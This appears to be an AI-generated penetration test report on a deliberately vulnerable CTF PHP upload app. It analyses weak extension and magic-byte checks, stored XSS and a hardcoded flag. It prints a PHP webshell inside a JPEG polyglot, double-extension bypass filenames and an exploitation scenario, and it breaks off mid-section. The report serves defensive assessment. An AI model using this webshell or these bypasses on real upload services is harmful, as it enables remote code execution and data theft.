# Penetration Test Code Analysis Report
## Target: XBEN-067-24 PHP File Upload Application

---

# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All findings in this report adhere to this scope.

### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints
- Endpoints requiring authentication via the application's standard login mechanisms
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code

### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `go run ./cmd/...`, `python scripts/...`)
- A development environment's internal tooling (e.g., a "run script" button in an IDE)
- CI/CD pipeline scripts or build tools (e.g., Dagger build definitions)
- Database migration scripts, backup tools, or maintenance utilities
- Local development servers, test harnesses, or debugging utilities
- Static files or scripts that require manual opening in a browser (not served by the application)

**Out-of-Scope Components Identified:**
- **Makefile** (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/Makefile`) - Build automation tool requiring manual CLI execution
- **docker-compose.yml** - Container orchestration configuration, not a network endpoint
- **benchmark.json** - CTF metadata file, not served by the application

---

## 1. Executive Summary

This security analysis examines a deliberately vulnerable PHP file upload application (XBEN-067-24) running PHP 7.1.33 on Apache 2.4.38. The application presents a **critically insecure security posture** with multiple high-severity vulnerabilities across all major security domains.

**Critical Findings Summary:**
The application is a monolithic, single-purpose file upload service with **zero authentication controls**, **weak input validation**, and **critical output encoding failures**. The most severe vulnerabilities include stored Cross-Site Scripting (XSS) via malicious filenames, file upload bypass enabling potential Remote Code Execution (RCE), and hardcoded secrets embedded in Docker image layers. The application exposes exactly two network-accessible entry points: a POST endpoint for file uploads and a static file serving directory, both completely unauthenticated.

**Security Posture Assessment:**
- **Authentication:** Non-existent (0/10) - No login, registration, or identity verification
- **Authorization:** Non-existent (0/10) - No access controls or permission checking
- **Input Validation:** Critically weak (2/10) - Extension validation uses `strpos()` instead of proper suffix checking
- **Output Encoding:** Non-existent (0/10) - Direct echo of user input without sanitization
- **Session Security:** Not applicable (0/10) - No session management implemented
- **CSRF Protection:** Non-existent (0/10) - No anti-CSRF tokens
- **Security Headers:** Non-existent (0/10) - Missing CSP, X-Frame-Options, HSTS, etc.

**Overall Security Score: 1/10 - CRITICALLY INSECURE**

**Primary Attack Vector:** The file upload functionality at `/index.php` represents the sole and most critical attack surface. The weak validation logic allows double extension attacks (`malicious.php.jpg`), polyglot files (JPEG header + PHP code), and XSS payloads in filenames. Combined with the complete absence of authentication, this creates an environment where any anonymous attacker can upload malicious content, potentially achieve code execution, and exfiltrate the hardcoded FLAG environment variable.

---

## 2. Architecture & Technology Stack

### Framework & Language

**Primary Technology Stack:**
- **Language:** PHP 7.1.33 (End-of-Life since December 2019)
- **Web Server:** Apache 2.4.38 (Debian)
- **Base Container Image:** php:7.1-apache (Debian Buster - archived/deprecated)
- **PHP Extensions Installed:** mysqli (unused), filter, json, libxml, pdo_sqlite, session, xml/xmlreader/xmlwriter

**Security Implications of Technology Choices:**
The use of PHP 7.1.33 represents a **critical security risk** as this version reached end-of-life in December 2019 and no longer receives security patches. This exposes the application to all known PHP vulnerabilities discovered in the past 5+ years. The Debian Buster base image is similarly archived and uses deprecated, unauthenticated APT repositories. The mysqli extension is installed but completely unused, representing unnecessary attack surface. No modern security frameworks, libraries, or defensive programming patterns are employed - this is bare-metal PHP with minimal abstractions.

The Apache 2.4.38 configuration is equally minimal, with no security modules enabled (no mod_security, mod_evasive, mod_headers). Critical Apache directives like `Options -Indexes`, custom error pages, and directory-specific access controls are absent. The virtual host configuration (`000-default.conf`) contains only 4 lines with no SSL/TLS configuration, no security headers, and no upload directory protection. The application serves HTTP only on port 80 with no HTTPS enforcement or redirection.

**PHP Security Configuration Analysis:**
The PHP configuration uses production defaults with critical security weaknesses. The `expose_php = On` directive leaks version information in HTTP headers (`X-Powered-By: PHP/7.1.33`), enabling targeted attacks. The `allow_url_fopen = On` setting creates potential Server-Side Request Forgery (SSRF) vectors when combined with file operations like `fopen()`. Most critically, `disable_functions` is empty, meaning dangerous functions like `system()`, `exec()`, `shell_exec()`, `passthru()`, and `eval()` are all available for exploitation. The `open_basedir` restriction is not configured, allowing filesystem access outside the web root.

### Architectural Pattern

**Pattern Classification:** Monolithic Single-Container Application

This is a stateless, single-service architecture with no microservices, API gateways, service mesh, or load balancers. The entire application consists of two PHP files (`index.php` and `security.php`) totaling 65 lines of code, containerized in a single Docker container and exposed directly to the network via port mapping (host port 44555 → container port 80).

**Trust Boundaries and Security Implications:**

The application has three critical trust boundaries:

1. **External Network → Container (Port 44555:80):** This is the primary attack surface where anonymous internet users send HTTP requests directly to the Apache process. No authentication gateway, WAF, or reverse proxy sits between the attacker and the application. No rate limiting exists at this boundary, enabling unlimited upload attempts and potential denial-of-service attacks.

2. **Container → Filesystem (`/var/www/html/upload/`):** The Apache process runs as the `www-data` user and has full write permissions to the upload directory (configured via `chown -R www-data:www-data /var/www/html` in the Dockerfile). This creates a dangerous privilege scenario: if an attacker uploads a PHP file and bypasses the weak validation, the web server can execute that file with the same privileges that wrote it. The lack of `open_basedir` restrictions means uploaded code could potentially read `/etc/passwd`, environment variables, or other sensitive files.

3. **Build Environment → Runtime (FLAG environment variable):** The Dockerfile contains `ENV FLAG="flag{3436e024-fcd3-4f8e-85b3-f989ac44a77d}"` at line 14, embedding the secret directly into the container image layers. This secret persists in the image metadata and is accessible via `docker inspect`, container environment variable enumeration (`getenv('FLAG')` in PHP), or reading `/proc/self/environ` if local file inclusion is achieved.

**Resource Isolation Failures:**
The docker-compose.yml specifies no resource limits (`memory`, `cpus`), no security options (`AppArmor`, `SELinux`, `seccomp`), and no capability restrictions (`CapAdd`/`CapDrop`). The container does not run as a non-root user inside the container namespace, though it's not explicitly privileged. Network isolation is minimal - the container uses bridge mode networking (10.89.75.0/24) with direct port exposure to 0.0.0.0 (all interfaces).

### Critical Security Components

**File Upload Validation System (security.php):**

The application's sole defensive mechanism is a two-function validation system that exhibits critical weaknesses:

**Extension Validation (`hasValidExtension()` - Lines 10-13):**
```php
function hasValidExtension($filename) {
    return (strpos($filename, '.jpg') !== false ||
            strpos($filename, '.jpeg') !== false);
}
```
This uses `strpos()` to check if the strings `.jpg` or `.jpeg` appear *anywhere* in the filename, not at the end. This is trivially bypassed with filenames like:
- `malicious.php.jpg` (passes validation, may execute as PHP depending on Apache configuration)
- `shell.jpg.php` (passes validation if Apache processes .php extensions)
- `exploit.php%00.jpg` (null byte injection, though PHP 7.1 is less vulnerable than 5.x)

The correct implementation should use `pathinfo($filename, PATHINFO_EXTENSION)` and compare the actual file extension.

**Magic Number Validation (`hasValidMagicNumber()` - Lines 3-8):**
```php
function hasValidMagicNumber($filename) {
    $file = fopen($filename, 'rb');
    $signature = fread($file, 2);
    fclose($file);
    return bin2hex($signature) === 'ffd8';
}
```
This checks only the first 2 bytes for the JPEG magic number (0xFFD8) but doesn't validate the JPEG footer (0xFFD9) or overall file structure. This enables polyglot attacks where an attacker prepends a valid JPEG header to PHP code:
```
\xFF\xD8\xFF\xE0...  ← JPEG header
<?php system($_GET['cmd']); ?>  ← Malicious PHP code
```

Additionally, the `fopen()` call at line 4 accepts the `$filename` parameter without URL validation. Since PHP 7.1 has `allow_url_fopen = On` by default, this could theoretically be exploited for SSRF if the `tmp_name` parameter could be manipulated (though this is difficult in practice).

**Web Server Security Configuration:**

The Apache configuration file (`php/apache/000-default.conf`) is dangerously minimal:
```apache
<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html
</VirtualHost>
```

Critical missing directives:
- No `<Directory /var/www/html/upload/>` restrictions
- No `Options -Indexes` (directory listing may be enabled)
- No `AddHandler` or `RemoveHandler` to prevent .php execution in upload directory
- No `Header` directives for security headers (requires mod_headers which isn't enabled)
- No SSL configuration or HTTPS enforcement
- No custom `ErrorDocument` directives (may leak sensitive error information)

**Security Headers Assessment:**

HTTP response analysis reveals complete absence of defensive headers:
```
HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)        # Version disclosure
X-Powered-By: PHP/7.1.33              # Version disclosure
Content-Type: text/html; charset=UTF-8
```

Missing critical headers:
- **Content-Security-Policy:** Would mitigate XSS attacks
- **X-Frame-Options:** Missing clickjacking protection
- **X-Content-Type-Options: nosniff:** Allows MIME confusion attacks
- **Strict-Transport-Security:** No HTTPS enforcement (N/A since no HTTPS)
- **X-XSS-Protection:** Legacy XSS filter not enabled
- **Referrer-Policy:** May leak sensitive URLs in referer header
- **Permissions-Policy:** No restriction on browser features

---

## 3. Authentication & Authorization Deep Dive

### Authentication Mechanisms

**Status: NOT IMPLEMENTED - CRITICAL SECURITY GAP**

This application has **zero authentication mechanisms**. A comprehensive code analysis of all 65 lines of application code (`index.php` and `security.php`) confirms the complete absence of:

- **Login endpoints:** No `/login`, `/auth`, `/signin`, or similar routes
- **Registration endpoints:** No user account creation functionality
- **Password handling:** No credential validation, password hashing (bcrypt, argon2, etc.), or password storage
- **Session initialization:** No `session_start()` calls anywhere in the codebase
- **Authentication tokens:** No JWT generation, validation, or bearer token processing
- **API keys:** No API key validation or header inspection
- **HTTP Basic/Digest Auth:** No authentication headers checked
- **Multi-Factor Authentication:** No 2FA/MFA implementations

**Security Implications:**

The absence of authentication means the application operates in a **completely open access model** where any anonymous internet user can:
- Upload unlimited files without identity verification
- Access all uploaded files via direct URL guessing
- Abuse the upload functionality for malicious purposes (malware distribution, phishing, etc.)
- Perform all application operations with zero accountability or audit trail

This violates fundamental security principles including:
- **Principle of Least Privilege:** No privilege differentiation exists
- **Defense in Depth:** No authentication layer to complement other controls
- **Accountability:** No ability to attribute actions to specific users
- **Non-repudiation:** No proof of who performed what actions

From an external attacker perspective, the lack of authentication removes a major barrier to exploitation. An attacker can immediately begin testing the file upload functionality without needing to bypass login forms, crack passwords, or obtain valid credentials.

### Session Management

**Status: NOT IMPLEMENTED**

**Critical Finding: No Session Cookie Configuration**

Exhaustive analysis confirms zero session management infrastructure:

**Session Initialization:** No `session_start()` calls found in any file. PHP session handling is completely unused despite the session extension being available.

**Session Variable Usage:** No `$_SESSION` superglobal references found. The application is completely stateless with no server-side user tracking.

**Session Cookie Security Flags - ALL MISSING:**

As required by the analysis scope, I attempted to locate the exact file and line numbers where session cookie flags are configured. **No such configuration exists.** Specifically:

- **HttpOnly flag:** NOT SET (no session cookies exist to configure)
  - **Location searched:** All PHP files for `session_set_cookie_params()`, `setcookie()`, `ini_set('session.cookie_httponly')`
  - **Result:** No configuration found
  - **Impact:** N/A - no cookies to protect, but if sessions were added without proper configuration, they would be vulnerable to XSS-based cookie theft

- **Secure flag:** NOT SET (no session cookies exist)
  - **Location searched:** All PHP files for secure flag configuration
  - **Result:** No configuration found
  - **Impact:** N/A - but application serves HTTP only anyway, so Secure flag would be ineffective

- **SameSite flag:** NOT SET (no session cookies exist)
  - **Location searched:** All PHP files for `SameSite` cookie attribute
  - **Result:** No configuration found
  - **Impact:** N/A - but absence of SameSite would enable CSRF attacks if sessions existed

**Session Storage Mechanism:** Not applicable - no session storage backend (Redis, memcached, database, filesystem) is configured or used.

**Session Security Implications:**

While the absence of session management means session-specific attacks (session fixation, session hijacking, session prediction) are not applicable, this creates a different security problem: **the application cannot maintain user state or implement authentication**. If developers later add authentication without proper session security, they would need to:

1. Add `session_start()` to every page requiring authentication
2. Configure secure cookie parameters before first `session_start()`:
   ```php
   session_set_cookie_params([
       'lifetime' => 0,
       'path' => '/',
       'domain' => $_SERVER['HTTP_HOST'],
       'secure' => true,      // Requires HTTPS
       'httponly' => true,    // Prevents JavaScript access
       'samesite' => 'Strict' // CSRF protection
   ]);
   ```
3. Implement session regeneration on privilege changes
4. Set appropriate session timeouts
5. Implement secure session destruction on logout

Currently, none of this infrastructure exists.

### Authorization Model

**Status: NOT IMPLEMENTED - CRITICAL SECURITY GAP**

**No Access Control Mechanisms Found:**

A complete codebase analysis reveals **zero authorization logic**:

- **Permission Checking:** No functions or middleware that check user permissions before allowing actions
- **Role Definitions:** No role-based access control (RBAC) implementation - no concepts of "admin", "user", "guest", etc.
- **Access Control Lists (ACLs):** No file or resource-level permissions
- **Attribute-Based Access Control (ABAC):** No policy-based authorization
- **Resource Ownership Checks:** No verification that users can only access their own uploads

**Security Implications:**

The absence of authorization creates a **universal privilege model** where:
- All visitors have identical access rights (full access to everything)
- No privilege escalation is needed (everyone already has maximum privileges)
- No horizontal privilege escalation protection (no concept of "other users' data")
- No vertical privilege escalation protection (no administrative functions to escalate to)

**File Upload Authorization Gap:**

The file upload endpoint (`index.php` lines 31-48) allows any anonymous user to:
```php
if ($_FILES) {
    if (isset($_FILES["userfile"]) && isset($_POST["submit"])) {
        $path = "/var/www/html/upload/";
        // ... validation checks ...
        if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $full_path)) {
```

No checks for:
- Whether the user is authenticated
- Whether the user has permission to upload files
- Whether the user has exceeded upload quotas
- Whether the user owns previously uploaded files

**Uploaded File Access Authorization:**

Files in `/var/www/html/upload/` are directly accessible via HTTP GET requests to `/upload/[filename]` with no authorization checks. Any attacker who can guess or enumerate filenames can access any uploaded file. The application stores the most recent filename in `upload/uploaded.txt`, which could aid in enumeration attacks.

### Multi-Tenancy Security

**Status: NOT APPLICABLE - Single-Tenant Architecture**

This is a single-tenant application with no tenant isolation mechanisms:
- No tenant identification (no subdomain routing, no tenant ID in tokens, no header-based tenant selection)
- Single shared upload directory (`/var/www/html/upload/`) used by all users
- No database with tenant-scoped queries
- No tenant-level access controls

### SSO/OAuth/OIDC Flows

**Status: NOT IMPLEMENTED**

**No External Authentication Providers:**

A comprehensive search for OAuth/OIDC implementation patterns reveals:
- **No OAuth callback endpoints:** No routes like `/auth/callback`, `/oauth/callback`, or similar
- **No state parameter validation:** N/A - no OAuth flow exists
  - **Search performed:** Looked for `$_GET['state']`, `$_POST['state']`, state verification logic
  - **Result:** No OAuth state handling found
- **No nonce parameter validation:** N/A - no OIDC flow exists
  - **Search performed:** Looked for `$_GET['nonce']`, nonce verification in ID tokens
  - **Result:** No OIDC nonce handling found
- **No authorization code exchange:** No code-for-token exchange logic
- **No JWT validation:** No JWT libraries, no signature verification, no claims validation
- **No external HTTP requests:** No cURL, file_get_contents, or HTTP client usage for OAuth flows

**Security Note:** The absence of OAuth/OIDC means the application doesn't benefit from:
- Delegated authentication to trusted providers (Google, Microsoft, GitHub, etc.)
- OAuth state parameter CSRF protection
- OIDC nonce replay attack prevention
- Enterprise SSO integration (SAML, OIDC)

If OAuth were to be added, developers would need to implement critical security controls:
1. Generate cryptographically random state parameter and store in session
2. Validate state parameter on callback to prevent CSRF
3. Generate and validate nonce parameter for OIDC to prevent replay attacks
4. Validate JWT signatures against provider's JWKS endpoint
5. Verify JWT claims (issuer, audience, expiration)
6. Implement PKCE (Proof Key for Code Exchange) for additional security

---

## 4. Data Security & Storage

### Database Security

**Status: NO DATABASE USAGE FOUND**

**Comprehensive Database Analysis Results:**

Despite the PHP mysqli extension being installed in the Dockerfile (line 11: `RUN docker-php-ext-install mysqli || true`), **zero database usage** exists in the application code:

- **No Database Connections:** No `mysqli_connect()`, `PDO()`, or database connection establishment found
- **No SQL Queries:** No raw SQL, prepared statements, or ORM query builders detected
- **No Database Configuration:** No connection strings, database credentials, or host/port configurations
- **No Migration Files:** No schema definitions, database migrations, or DDL statements
- **No ORM Usage:** No Eloquent, Doctrine, or other ORM frameworks

**Unused mysqli Extension:**
```dockerfile
# Dockerfile line 11
RUN docker-php-ext-install mysqli || true
```
This represents **unnecessary attack surface** - a database extension is compiled into PHP but never utilized. If this extension has vulnerabilities, the application is exposed despite not using database functionality.

**Data Persistence Mechanism:**

Instead of a database, the application uses **filesystem storage** exclusively:

1. **Uploaded Files:** Stored in `/var/www/html/upload/[original_filename]`
2. **Metadata Tracking:** Single file `/var/www/html/upload/uploaded.txt` contains the most recent filename

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/app/index.php`
```php
Line 37: $fd = fopen($uploaded_path, 'w');
Line 38: fwrite($fd, $_FILES["userfile"]["name"]);
Line 39: fclose($fd);
```

**Security Implications of Filesystem Storage:**

- **No Access Control:** Filesystem permissions are the only security control (www-data:www-data ownership)
- **No Encryption at Rest:** Files stored in plaintext on disk
- **No Backup/Recovery:** No database backup mechanisms
- **No Query Isolation:** No SQL injection protection needed (positive), but also no structured data querying
- **No Transaction Support:** No ACID properties for multi-step operations
- **No Audit Logging:** No database-level audit trails

### Data Flow Security

**Critical Data Flow: File Upload Pipeline**

The application processes user data through the following pipeline:

```
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 1: User Input                                             │
│ Browser → HTTP POST (multipart/form-data)                       │
│ $_FILES["userfile"]["name"]     ← User-controlled filename      │
│ $_FILES["userfile"]["tmp_name"] ← Temporary file path           │
│ $_POST["submit"]                 ← Submit button value          │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 2: Validation (security.php)                              │
│ hasValidExtension($_FILES["userfile"]["name"])                  │
│ → Uses strpos() to check for .jpg/.jpeg anywhere in filename    │
│ → BYPASSABLE with double extensions                             │
│                                                                  │
│ hasValidMagicNumber($_FILES["userfile"]["tmp_name"])            │
│ → Reads first 2 bytes, checks for JPEG signature (0xFFD8)       │
│ → BYPASSABLE with polyglot files                                │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 3: Path Construction                                      │
│ $full_path = $path . basename($_FILES["userfile"]["name"])      │
│ → basename() prevents directory traversal                       │
│ → Still uses original filename without sanitization             │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 4: File Storage                                           │
│ move_uploaded_file($tmp_name, $full_path)                       │
│ → Writes to /var/www/html/upload/[original_filename]            │
│ → File owned by www-data:www-data                               │
│ → File directly accessible via HTTP                             │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 5: Metadata Tracking                                      │
│ fwrite($fd, $_FILES["userfile"]["name"])                        │
│ → Stores filename in /var/www/html/upload/uploaded.txt          │
│ → NO SANITIZATION before storage                                │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 6: Output/Display (CRITICAL XSS POINT)                    │
│ echo "<img src=\"upload/" . $filename . "\">";                  │
│ → Reads filename from uploaded.txt                              │
│ → Directly echoes into HTML without htmlspecialchars()          │
│ → STORED XSS VULNERABILITY                                      │
└─────────────────────────────────────────────────────────────────┘
```

**Validation and Sanitization Failures:**

| Stage | Protection | Implementation | Effectiveness | Bypass Method |
|-------|-----------|----------------|---------------|---------------|
| Extension Check | `hasValidExtension()` | `strpos($filename, '.jpg')` | **WEAK** | `malicious.php.jpg` |
| Magic Bytes | `hasValidMagicNumber()` | Checks first 2 bytes for FFD8 | **INSUFFICIENT** | Prepend JPEG header to PHP code |
| Path Traversal | `basename()` | Removes directory components | **MODERATE** | Cannot bypass, but filename still used |
| Output Encoding | None | Direct `echo` of filename | **NONE** | Any filename with HTML/JS |

**Input Validation Gaps:**

The application performs **no validation** for:
- Filename length (could exceed filesystem limits)
- File size (relies on PHP's default `upload_max_filesize = 2M` and `post_max_size = 8M`)
- Character encoding in filenames (could contain null bytes, Unicode exploits)
- Filename special characters (quotes, angle brackets, script tags)
- MIME type verification (beyond magic bytes)
- File content scanning (no malware detection, no deep content inspection)

**Data Sanitization Assessment:**

| Input Source | Sanitization Applied | Output Context | Encoding Applied | Vulnerability |
|-------------|---------------------|----------------|------------------|---------------|
| `$_FILES["userfile"]["name"]` | `basename()` only | HTML img src attribute | **NONE** | Stored XSS |
| `$_FILES["userfile"]["name"]` | None | HTML anchor href attribute | **NONE** | Reflected XSS |
| File contents | Magic byte check only | Filesystem + HTTP serving | None | RCE if PHP executed |
| `uploaded.txt` contents | None | HTML output | **NONE** | Stored XSS |

**Correct Sanitization Approach:**

For the XSS vulnerabilities, the code should use:
```php
// Line 15 should be:
echo "<img src=\"upload/" . htmlspecialchars($filename, ENT_QUOTES, 'UTF-8') . "\">";

// Line 41 should be:
echo "File is valid, and was successfully uploaded <a href='" . 
     htmlspecialchars($partial_path, ENT_QUOTES, 'UTF-8') . "'>here</a>.\n";
```

### Sensitive Data Handling

**Sensitive Data Catalog:**

The application handles minimal sensitive data:

1. **User-Uploaded Files:**
   - **Type:** Image files (intended), arbitrary files (actual)
   - **Storage:** `/var/www/html/upload/` directory
   - **Protection:** None - files stored in plaintext
   - **Encryption:** None at rest or in transit (HTTP only, no HTTPS)

2. **Filenames:**
   - **Type:** User-controlled strings
   - **Storage:** Filesystem + `uploaded.txt` metadata file
   - **Protection:** None
   - **PII Risk:** Filenames could contain personal information

3. **CTF Flag (Critical):**
   - **Type:** Secret string (`flag{3436e024-fcd3-4f8e-85b3-f989ac44a77d}`)
   - **Storage:** Environment variable + Docker image layers
   - **Protection:** None
   - **Locations:**
     - `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/Dockerfile:14` (hardcoded)
     - `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/.env:1` (plaintext)
     - Container environment variables (accessible via `getenv('FLAG')`)

**Secret Management - CRITICAL VULNERABILITIES**

**Finding 1: Hardcoded Secret in Dockerfile**
```dockerfile
# Line 13: Attempts to read from build arg
ENV FLAG=$FLAG

# Line 14: CRITICAL - Hardcoded fallback value
ENV FLAG="flag{3436e024-fcd3-4f8e-85b3-f989ac44a77d}"
```

**Impact:** The hardcoded FLAG at line 14 is permanently embedded in the Docker image layers. This means:
- The secret is visible in `docker history xben-067-24_php`
- The secret is accessible via `docker inspect` of the image
- The secret persists even if the .env file is deleted
- Anyone with access to the Docker image can extract the flag without running the container

**Finding 2: .env File in Version Control**
```bash
# .env file contents
FLAG="flag{3436e024-fcd3-4f8e-85b3-f989ac44a77d}"
```

No `.gitignore` file exists to exclude `.env` from version control. This means the secret is likely committed to git history and visible to anyone with repository access.

**Finding 3: World-Readable Permissions**
The `.env` file has `644` permissions (rw-r--r--), making it readable by any user on the host system. Correct permissions should be `600` (rw-------).

**Secret Exposure Vectors:**

An external attacker can obtain the FLAG through:
1. **Remote Code Execution:** Upload PHP shell, execute `echo getenv('FLAG');`
2. **Local File Inclusion:** If LFI exists, read `/proc/self/environ` or access the FLAG variable
3. **Information Disclosure:** If `phpinfo()` is exposed, environment variables are listed
4. **Container Escape:** Break out of container and read `.env` file on host
5. **Source Code Access:** Obtain Dockerfile or .env from repository/image

### Encryption & Cryptography

**Status: NO ENCRYPTION IMPLEMENTATIONS FOUND**

**Comprehensive Cryptography Audit:**

- **Symmetric Encryption (AES, DES, 3DES, ChaCha20):** Not found
- **Asymmetric Encryption (RSA, ECC):** Not found
- **Password Hashing (bcrypt, argon2, scrypt, PBKDF2):** Not found (no authentication exists)
- **Cryptographic Hashing (SHA-256, SHA-3, BLAKE2):** Not found for security purposes
- **Key Management:** No encryption keys, no key derivation, no key rotation
- **TLS/SSL Configuration:** Application serves HTTP only, no HTTPS
- **Certificate Storage:** No SSL certificates
- **Secure Random Generation:** No cryptographically secure random number generation

**Only Encoding Operation Found:**

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/app/security.php`
```php
Line 5: $signature = fread($file, 2);
Line 6: fclose($file);
Line 7: return bin2hex($signature) === 'ffd8';
```

**Analysis:** The `bin2hex()` function is an *encoding* operation, not encryption. It converts binary data to hexadecimal representation for comparison purposes (checking JPEG magic number). This provides zero confidentiality or integrity protection.

**Security Implications:**

- **Data at Rest:** All uploaded files stored in plaintext on disk
- **Data in Transit:** HTTP only - no TLS encryption, traffic is plaintext
- **Secrets:** FLAG environment variable stored in plaintext
- **Session Tokens:** N/A - no sessions exist, but if added, would need encryption
- **Passwords:** N/A - no authentication exists, but if added, would need strong hashing

**Missing Cryptographic Controls:**

1. **File Encryption:** Uploaded files should be encrypted at rest using AES-256-GCM
2. **Transport Security:** Should enforce HTTPS with TLS 1.3
3. **HSTS Header:** Should implement Strict-Transport-Security if HTTPS is added
4. **Secret Encryption:** FLAG should be encrypted with KMS (Key Management Service)
5. **Integrity Checks:** No HMAC or digital signatures to verify file integrity

### Multi-Tenant Data Isolation

**Status: NOT APPLICABLE - Single-Tenant Architecture**

This application has no multi-tenancy:
- No tenant identification mechanisms (no tenant ID, no subdomain routing, no header-based tenancy)
- Single shared upload directory used by all users
- No database with tenant-scoped WHERE clauses
- No tenant-level access controls or data segregation
- No cross-tenant access prevention (everyone can access everything)

---

## 5. Attack Surface Analysis

### External Entry Points - Network-Accessible Components

The application exposes exactly **two network-accessible entry points**, both completely unauthenticated:

#### **Entry Point 1: Main Application Endpoint**

**Route:** `/` or `/index.php`
**HTTP Methods:** GET, POST
**File Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/app/index.php`
**Network Accessibility:** Public - No authentication required
**Port Exposure:** TCP port 80 (mapped to host port 44555)

**GET Request Functionality (Lines 7-20):**
```php
if (file_exists($uploaded_path)) {
    $fd = fopen($uploaded_path, 'r');
    $filename = fgets($fd);
    fclose($fd);
    echo "<img src=\"upload/" . $filename . "\">";
}
```

**Purpose:** Displays the most recently uploaded image by reading the filename from `/var/www/html/upload/uploaded.txt` and rendering it in an `<img>` tag.

**Attack Vectors:**
- **Stored XSS:** Filename read from `uploaded.txt` is echoed without sanitization (line 15)
- **Information Disclosure:** Reveals most recent upload filename
- **No Rate Limiting:** Unlimited GET requests possible

**POST Request Functionality (Lines 22-49):**
```php
if ($_FILES) {
    if (isset($_FILES["userfile"]) && isset($_POST["submit"])) {
        $path = "/var/www/html/upload/";
        $full_path = $path . basename($_FILES["userfile"]["name"]);
        if (hasValidExtension($_FILES["userfile"]["name"]) &&
            hasValidMagicNumber($_FILES["userfile"]["tmp_name"])) {
          if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $full_path)) {
```

**Purpose:** Handles file uploads with weak validation and stores files with original filenames.

**Input Parameters:**

| Parameter | Type | Location | Required | Validation | Vulnerability |
|-----------|------|----------|----------|-----------|---------------|
| `userfile` | File | Multipart form | Yes | Extension + magic bytes | Weak - bypassable |
| `submit` | String | POST body | Yes | None | None implemented |

**Attack Vectors:**
- **File Upload Bypass:** Extension validation uses `strpos()` instead of suffix check
  - **Exploit:** Upload `malicious.php.jpg` - passes `.jpg` check, may execute as PHP
  - **Exploit:** Polyglot file with JPEG header + PHP code
- **Reflected XSS:** Filename echoed in success message without encoding (line 41)
- **No CSRF Protection:** No anti-CSRF tokens, vulnerable to cross-site file uploads
- **No File Size Limits:** Only PHP defaults (`upload_max_filesize = 2M`, `post_max_size = 8M`)
- **No Rate Limiting:** Unlimited upload attempts enable brute-force attacks
- **No Authentication:** Any anonymous user can upload files

**Critical Vulnerability Deep Dive - File Upload Bypass:**

The validation logic has two critical weaknesses that, when combined, enable code execution:

**Weakness 1: Extension Validation (`security.php` lines 10-13)**
```php
function hasValidExtension($filename) {
    return (strpos($filename, '.jpg') !== false ||
            strpos($filename, '.jpeg') !== false);
}
```

**Bypass Techniques:**
1. **Double Extension:** `shell.php.jpg` - contains `.jpg`, passes validation
2. **Extension Suffix:** `payload.jpg.php` - contains `.jpg`, passes validation
3. **Apache Misconfiguration Exploit:** If Apache is configured to process `.jpg` as PHP (unlikely but possible), any `.jpg` file becomes executable

**Weakness 2: Magic Byte Validation (`security.php` lines 3-8)**
```php
function hasValidMagicNumber($filename) {
    $file = fopen($filename, 'rb');
    $signature = fread($file, 2);
    fclose($file);
    return bin2hex($signature) === 'ffd8';
}
```

**Bypass Technique: Polyglot File**
Create a file that is both a valid JPEG and valid PHP:
```
FF D8 FF E0 00 10 4A 46 49 46 00 01  ← JPEG header (first 12 bytes)
3C 3F 70 68 70 20 73 79 73 74 65 6D  ← "<?php system("
28 24 5F 47 45 54 5B 27 63 6D 64 27  ← "$_GET['cmd'"
5D 29 3B 20 3F 3E                     ← "]); ?>"
```

This file:
- Starts with `FFD8` (JPEG magic number) - passes `hasValidMagicNumber()`
- Contains `.jpg` in filename - passes `hasValidExtension()`
- Contains PHP code - if executed, provides remote command execution

**Exploitation Scenario:**
1. Attacker creates polyglot file `shell.php.jpg` containing JPEG header + PHP webshell
2. Uploads file via POST to `/index.php`
3. File passes both validation checks
4. File stored as `/var/www/html/upload/shell.php.jpg`
5. If Apache processes `.php` extensions before `.jpg`, accessing `/upload/shell.php.jpg?cmd=getenv('FLAG')` executes PHP code
6. Attacker retrieves FLAG: `flag{3436e024-fcd3-4f8e-85b3-f989ac44a77d}`

**Defense Evasion:**
- No WAF or ModSecurity to detect malicious payloads
- No file content inspection beyond first 2 bytes
- No antivirus scanning of uploads
- No filename character restrictions

#### **Entry Point 2: Static File Serving - Upload Directory**

**Route:** `/upload/*`
**HTTP Methods:** GET
**File Location:** `/var/www/html/upload/` (container path)
**Created in:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/Dockerfile:19`
**Network Accessibility:** Public - No authentication required
**Apache Configuration:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-067-24/php/apache/000-default.conf:3`

**Functionality:** Serves all files from the upload directory directly via HTTP GET requests.

**Access Pattern:**
```
http://[host]:44555/upload/[filename]
```

**Attack Vectors:**
- **Direct File Access:** Any file uploaded can be accessed by anyone who knows/guesses the filename
- **File Enumeration:** Attacker can brute-force common filenames to discover uploads
